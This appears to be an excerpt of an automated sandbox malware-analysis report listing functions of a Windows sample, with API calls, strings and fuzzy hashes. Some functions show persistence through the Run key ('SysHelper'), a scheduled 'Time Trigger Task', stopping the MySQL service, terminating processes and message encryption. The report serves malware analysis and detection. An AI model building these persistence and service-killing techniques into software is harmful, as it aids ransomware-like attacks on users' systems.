Opcode Fuzzy Hash: 0c9c1c2ab8505d5d0ad1ff410e0c07bd783a2317b8dbec5b469f5910e3c33601
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Uniqueness

Uniqueness Score: -1.00%

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

, xrefs: 00463A90
-----BEGIN , xrefs: 004636A4
-----, xrefs: 004636D4, 00463A21
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----END , xrefs: 0046382F, 00463940, 004639E4

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: 84ee3cde42700812759a9ef38857a16d989f8e96272b56e8f3a280f090e98fcd
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: 84ee3cde42700812759a9ef38857a16d989f8e96272b56e8f3a280f090e98fcd
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Uniqueness

Uniqueness Score: -1.00%

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 00427B21 Relevance: 18.1, APIs: 12, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00427B29
_free.LIBCMT ref: 00427B42

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C13

_free.LIBCMT ref: 00427B55
_free.LIBCMT ref: 00427B73
_free.LIBCMT ref: 00427B85
_free.LIBCMT ref: 00427B96
_free.LIBCMT ref: 00427BA1
_free.LIBCMT ref: 00427BC5
EncodePointer.KERNEL32(007F54A8), ref: 00427BCC
_free.LIBCMT ref: 00427BE1
_free.LIBCMT ref: 00427BF7
_free.LIBCMT ref: 00427C1F

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID:
API String ID: 3064303923-0
Opcode ID: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction ID: d8036121d910c09816430481b6b6363fcbb95216f7cc64832fdbf6810ac9f003
Opcode Fuzzy Hash: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction Fuzzy Hash: C2217535A042748BCB215F56BC80D4A7BA4EB14328B94453FEA14573A1CBF87889DA98

Uniqueness

Uniqueness Score: -1.00%

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

Service-0x, xrefs: 00454A80
_OPENSSL_isservice, xrefs: 004549D1

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 3807c14e2e06666c3841fd577d8dc4c169a4d8fe6725ffaf2f8e04ccca0ab35a
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 3807c14e2e06666c3841fd577d8dc4c169a4d8fe6725ffaf2f8e04ccca0ab35a
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Uniqueness

Uniqueness Score: -1.00%

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OpenSSL: FATAL, xrefs: 00454BC7
OPENSSL, xrefs: 00454B77

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: ce6eb8d3f5f16185de033b2eb02e1ed4c4d2bc7c389f561c58e1c798f68c238c
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: ce6eb8d3f5f16185de033b2eb02e1ed4c4d2bc7c389f561c58e1c798f68c238c
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Uniqueness

Uniqueness Score: -1.00%

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F
SysHelper, xrefs: 004123D6

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: 06da7c2837e38599fef00ce52c1f6902c681b54622b65709e13af315f42eef8d
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: 06da7c2837e38599fef00ce52c1f6902c681b54622b65709e13af315f42eef8d
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Uniqueness

Uniqueness Score: -1.00%

Function 00425B6E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
_wcscmp.LIBCMT ref: 00425C59
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock_wcscmp
String ID:
API String ID: 1077091919-0
Opcode ID: 0727ae4cc99d48966fa21793c9fc57279ad8f68c0750dd608dbf0930cc1fe26a
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 0727ae4cc99d48966fa21793c9fc57279ad8f68c0750dd608dbf0930cc1fe26a
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

invalid string position, xrefs: 00418342
string too long, xrefs: 00418338

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 792d112af0fa9ddc9baf780d6e55906f8cf88b841c6546fcd7dace90299be161
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 792d112af0fa9ddc9baf780d6e55906f8cf88b841c6546fcd7dace90299be161
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

Comment, xrefs: 0040DBFF
Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52
--Task, xrefs: 0040DBB5

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 2d54a52d798a0afde9218a6ee6c79ee0b434336cd27d5fab6bedf0357fc64c8f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 2d54a52d798a0afde9218a6ee6c79ee0b434336cd27d5fab6bedf0357fc64c8f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: 0f15716b166695e00864247e1df175f35371e0258770e6daacd70fab21cfce16
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: 0f15716b166695e00864247e1df175f35371e0258770e6daacd70fab21cfce16
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640
',', xrefs: 0046560B
fopen(', xrefs: 00465611

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 73675a20a9300cbfb3356ca09084d0b3dfcbde4a4269266388fce0caa3adac80
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 73675a20a9300cbfb3356ca09084d0b3dfcbde4a4269266388fce0caa3adac80
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Uniqueness

Uniqueness Score: -1.00%

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: fb95cca08c5137960df09b2932dfcea505f4a1a4214bf1a69b91f53fd9b4b180
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: fb95cca08c5137960df09b2932dfcea505f4a1a4214bf1a69b91f53fd9b4b180
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll,74E14E90), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

\, xrefs: 0040F548
Shell32.dll, xrefs: 0040F32C
SHGetFolderPathW, xrefs: 0040F34D

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: 608ffdc866a55f30e1ae8f6dda7e69426a5b7cebb280104067948b8b4f2aab7d
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: 608ffdc866a55f30e1ae8f6dda7e69426a5b7cebb280104067948b8b4f2aab7d
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

\\n, xrefs: 0040CC1B
 , xrefs: 0040CCAF
Error encrypting message: %s, xrefs: 0040CE67

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

